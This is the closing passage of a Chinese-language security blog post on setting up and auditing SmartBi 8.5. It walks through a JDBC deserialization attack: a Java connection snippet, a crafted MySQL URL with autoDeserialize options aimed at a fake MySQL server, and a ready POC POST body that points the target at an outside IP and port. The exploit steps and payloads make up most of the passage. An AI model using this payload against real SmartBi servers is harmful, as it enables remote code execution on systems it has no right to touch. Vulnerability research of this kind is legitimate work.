                info.setPassword(dbPass);
                return ConnectionPool.getInstance().getConnection(info);
            }//配置数据库连接信息,并且进行连接
        }
  5. 最重要的部分在第⼆块,拼接恶意的数据库连接源

    serverName设置为我们的fakemysql服务器,dbName根据mysql-connection的版本进⾏配置(这⾥为 5.1.44版本)

    1
    2
    jdbc:mysql://xxx.xxx.xxx.xxx:3306/jdbcdec03db?detectCustomCollations=true%2
    6autoDeserialize=yes

    image-20250812190104269

  6. 根据doPost⽅法中接受参数名,构造poc即可(注意&需要进⾏URL编码)

    1
    2
    type=sqldictsync&dbNameOnly=false&dbType=MYSQL&dbServer=101.36.122.13:3308&
    dbName=dec03db?detectCustomCollations=true%26autoDeserialize=yes

    image-20250812190132144


SmartBi-8.5搭建&&审计
http://example.com/2025/10/27/SmartBi-8.5搭建&&审计/
作者
Piggy Sprint
发布于
2025年10月27日
许可协议